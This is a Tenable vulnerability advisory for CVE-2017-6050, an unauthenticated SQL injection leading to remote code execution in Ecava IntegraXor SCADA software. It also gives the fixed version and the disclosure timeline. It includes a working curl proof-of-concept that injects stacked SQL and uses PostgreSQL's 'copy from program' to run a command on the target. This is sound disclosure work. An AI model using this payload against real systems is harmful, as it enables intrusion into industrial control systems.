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[R1] Ecava IntegraXor SQL Injection Remote Code Execution

High

Synopsis

While working on a plugin for CVE-2016-8341, Tenable discovered a new unauthenticated remote SQL injection vulnerability in igmgr.dll. The specific flaw exists in the CDatabaseGroupManager::GetReport() function when handling the report parameter in a getdata request. The functions fails to properly validate the user-supplied string before using it to construct an SQL query.

Based on the way the SQL query is constructed it appears that the SQL injection can only work with a database server with the following characteristics:

  • The SQL keyword index can be used as a column alias (i.e., select idx as index).
  • If the keyword index cannot be used as a column alias, the database must support batched queries (i.e., multiple SQL statements separated by semicolon) and will execute the second or later SQL statements even if the first statement fails.

Tenable believes PostgreSQL, MySQL, and MariaDB satisfy these requirements. Other supported databases may be vulnerable but they were not tested.

Finally, to successfully exploit this vulnerability the remote attacker needs to know the endpoint to attack (e.g. /MyProj/getdata). The following cURL request demonstrates the vulnerability by executing the dir command on the remote host:

[[email protected] ~]$ curl 'http://192.168.1.1:7131/MyProj/getdata?function=sql&dbgroup=1&dbname=REPORT&report={type:%22summary_opt%22,name:%22report1%22,interval_type:%22month%22,interval:1,from:%222010-02-16%2000:26:10.026%22,to:%222010-02-17%2000:26:10.026%22,tag:[%22part_a%22],summary_type:%22foo%20from%20(select%20NULL%20as%20idx,NULL%20as%20tag_name,NULL%20as%20foo)%20b%3b%20create%20table%20if%20not%20exists%20evil%20(a%20text)%3b%20copy%20evil%20from%20program%27dir%27%20-%22}&outfmt=json'

Solution

Upgrade to 6.0.522.1

Disclosure Timeline

2017-02-17 - Issue discovered
2017-02-21 - Draft advisory written
2017-02-21 - Researcher wants to investigate more for RCE
2017-02-26 - Researcher determines impact more serious than just SQLi, can achieve RCE
2017-02-27 - Pinged Exodus Intel to gauge interest
2017-03-06 - Exodus replies, says interested. Asks 5 questions.
2017-03-06 - Tenable answers.
2017-03-23 - Tenable pings Exodus
2017-03-23 - Exodus says to submit it to their RSP portal
2017-03-31 - Tenable submits to RSP portal, case bmartin-0000
2017-04-07 - Exodus emails, received submission, assigned it to their team
2017-04-10 - Exodus emails with questions about PoC
2017-04-10 - Tenable provides suggestions
2017-04-28 - Tenable assumes Exodus still not interested
2017-04-28 - Issue reported to ICS-CERT, as Ecava has no obvious security PoC
2017-05-04 - ICS-CERT responds, assigns ICS-VU-600777

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2017-6050
Tenable Advisory ID
TRA-2017-24
Credit

Tenable Network Security

CVSSv2 Base / Temporal Score
7.5 / 5.9
CVSSv2 Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P
Additional Keywords
ICSA-17-171-01
Affected Products
Ecava IntegraXor IGX 5.2.1231.0
Risk Factor
High

Advisory Timeline

2017-11-06 - [R1] Initial Release
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